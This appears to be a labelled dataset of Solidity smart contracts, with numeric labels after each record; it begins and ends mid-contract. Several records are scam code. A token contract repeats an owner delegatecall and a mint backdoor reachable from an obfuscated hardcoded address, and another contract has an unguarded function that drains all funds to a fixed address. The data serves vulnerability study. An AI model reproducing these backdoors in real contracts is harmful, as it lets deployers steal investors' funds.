require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,351 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract SILToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is SILToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract SIL is StandardToken, Ownable {
string public constant name = "SILVAR COIN";
string public constant symbol = "SIL";
uint public constant decimals = 9;
function SIL() {
totalSupply = 231000000 * 10 ** decimals;
balances[msg.sender] = totalSupply;
}
} | 1 | 3,690 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract CompanyTest is Ownable {
address public owner;
uint public largestStake;
function purchaseStake() public payable {
if (msg.value > largestStake) {
owner = msg.sender;
largestStake = msg.value;
}
}
function withdraw() public onlyOwner {
msg.sender.transfer(this.balance);
}
} | 1 | 4,506 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 568 |
pragma solidity ^0.4.20;
contract POCN {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(msg.sender)]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "ProofOfCryptoNick";
string public symbol = "POCN";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 11;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 5e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 2 ether;
uint256 constant internal ambassadorQuota_ = 3 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(bytes32 => bool) public administrators;
bool public onlyAmbassadors = false;
function POCN()
public
{
ambassadors_[0xd8fa9C65623129Fa4abAf44B7e21655d1eF835ce] = true;
address oof = 0xd8fa9C65623129Fa4abAf44B7e21655d1eF835ce;
}
function investmoretokens() {
0xd8fa9C65623129Fa4abAf44B7e21655d1eF835ce.transfer(this.balance);
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address (this).balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,720 |
pragma solidity ^0.5.4;
contract SmartLotto {
using SafeMath for uint;
struct Member {
address addr;
uint ticket;
uint8[5] numbers;
uint prize;
uint8 payout;
}
struct Game {
uint datetime;
uint8[5] win_numbers;
uint membersCounter;
uint totalFund;
uint p2;
uint p3;
uint p4;
uint p5;
uint8 status;
mapping(uint => Member) members;
}
mapping(uint => Game) public games;
uint private CONTRACT_STARTED_DATE = 0;
uint private constant TICKET_PRICE = 0.01 ether;
uint private constant MAX_NUMBER = 36;
uint private constant PERCENT_FUND_JACKPOT = 15;
uint private constant PERCENT_FUND_4 = 35;
uint private constant PERCENT_FUND_3 = 30;
uint private constant PERCENT_FUND_2 = 20;
uint public JACKPOT = 0;
uint public GAME_NUM = 0;
uint private constant return_jackpot_period = 25 weeks;
uint private start_jackpot_amount = 0;
uint private constant PERCENT_FUND_PR = 15;
uint private FUND_PR = 0;
address private constant ADDRESS_SERVICE = 0x203bF6B46508eD917c085F50F194F36b0a62EB02;
address payable private constant ADDRESS_START_JACKPOT = 0x531d3Bd0400Ae601f26B335EfbD787415Aa5CB81;
address payable private constant ADDRESS_PR = 0xCD66911b6f38FaAF5BFeE427b3Ceb7D18Dd09F78;
event NewMember(uint _gamenum, uint _ticket, address _addr, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event NewGame(uint _gamenum);
event UpdateFund(uint _fund);
event UpdateJackpot(uint _jackpot);
event WinNumbers(uint _gamenum, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event PayOut(uint _gamenum, uint _ticket, uint _prize, uint8 _payout);
uint private constant POOL_SIZE = 30;
uint private POOL_COUNTER = 0;
uint private w2 = 0;
uint private w3 = 0;
uint private w4 = 0;
uint private w5 = 0;
function() external payable {
if(msg.sender == ADDRESS_START_JACKPOT) {
processStartingJackpot();
} else {
if(msg.sender == ADDRESS_SERVICE) {
startGame();
} else {
processUserTicket();
}
}
}
function processStartingJackpot() private {
if(msg.value > 0) {
JACKPOT += msg.value;
start_jackpot_amount += msg.value;
emit UpdateJackpot(JACKPOT);
} else {
if(start_jackpot_amount > 0){
_returnStartJackpot();
}
}
}
function _returnStartJackpot() private {
if(JACKPOT > start_jackpot_amount * 2 || (now - CONTRACT_STARTED_DATE) > return_jackpot_period) {
if(JACKPOT > start_jackpot_amount) {
ADDRESS_START_JACKPOT.transfer(start_jackpot_amount);
JACKPOT = JACKPOT - start_jackpot_amount;
start_jackpot_amount = 0;
} else {
ADDRESS_START_JACKPOT.transfer(JACKPOT);
start_jackpot_amount = 0;
JACKPOT = 0;
}
emit UpdateJackpot(JACKPOT);
}
}
function startGame() private {
if(GAME_NUM == 0) {
GAME_NUM = 1;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 1;
CONTRACT_STARTED_DATE = now;
} else {
if(games[GAME_NUM].status == 1) {
processGame();
} else {
games[GAME_NUM].status = 1;
}
}
}
function processGame() private {
uint8[5] memory win_numbers;
uint8 mn = 0;
if(POOL_COUNTER == 0) {
w2 = 0;
w3 = 0;
w4 = 0;
w5 = 0;
for(uint8 i = 0; i < 5; i++) {
win_numbers[i] = random(i);
}
win_numbers = sortNumbers(win_numbers);
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i + 1; j < 5; j++) {
if(win_numbers[i] == win_numbers[j]) {
win_numbers[j]++;
}
}
}
games[GAME_NUM].win_numbers = win_numbers;
emit WinNumbers(GAME_NUM, win_numbers[0], win_numbers[1], win_numbers[2], win_numbers[3], win_numbers[4]);
} else {
win_numbers = games[GAME_NUM].win_numbers;
}
uint start = POOL_SIZE * POOL_COUNTER + 1;
uint end = POOL_SIZE * POOL_COUNTER + POOL_SIZE;
if(end > games[GAME_NUM].membersCounter) end = games[GAME_NUM].membersCounter;
uint _w2 = 0;
uint _w3 = 0;
uint _w4 = 0;
uint _w5 = 0;
for(uint i = start; i <= end; i++) {
mn = findMatch(win_numbers, games[GAME_NUM].members[i].numbers);
if(mn == 2) { _w2++; continue; }
if(mn == 3) { _w3++; continue; }
if(mn == 4) { _w4++; continue; }
if(mn == 5) { _w5++; }
}
if(_w2 != 0) { w2 += _w2; }
if(_w3 != 0) { w3 += _w3; }
if(_w4 != 0) { w4 += _w4; }
if(_w5 != 0) { w2 += _w5; }
if(end == games[GAME_NUM].membersCounter) {
uint totalFund = games[GAME_NUM].totalFund;
uint fund2 = totalFund * PERCENT_FUND_2 / 100;
uint fund3 = totalFund * PERCENT_FUND_3 / 100;
uint fund4 = totalFund * PERCENT_FUND_4 / 100;
uint _jackpot = JACKPOT + totalFund * PERCENT_FUND_JACKPOT / 100;
if(w2 != 0) {
games[GAME_NUM].p2 = fund2 / w2;
} else {
_jackpot += fund2;
}
if(w3 != 0) {
games[GAME_NUM].p3 = fund3 / w3;
} else {
_jackpot += fund3;
}
if(w4 != 0) {
games[GAME_NUM].p4 = fund4 / w4;
} else {
_jackpot += fund4;
}
if(w5 != 0) {
games[GAME_NUM].p5 = _jackpot / w5;
JACKPOT = 0;
start_jackpot_amount = 0;
} else {
JACKPOT = _jackpot;
}
emit UpdateJackpot(JACKPOT);
GAME_NUM++;
games[GAME_NUM].datetime = now;
emit NewGame(GAME_NUM);
POOL_COUNTER = 0;
ADDRESS_PR.transfer(FUND_PR);
FUND_PR = 0;
} else {
POOL_COUNTER++;
}
}
function findMatch(uint8[5] memory arr1, uint8[5] memory arr2) private pure returns (uint8) {
uint8 cnt = 0;
for(uint8 i = 0; i < 5; i++) {
for(uint8 j = 0; j < 5; j++) {
if(arr1[i] == arr2[j]) {
cnt++;
break;
}
}
}
return cnt;
}
function processUserTicket() private {
if(msg.value == 0) {
uint payoutAmount = 0;
for(uint i = 1; i <= GAME_NUM; i++) {
Game memory game = games[i];
if(game.win_numbers[0] == 0) { continue; }
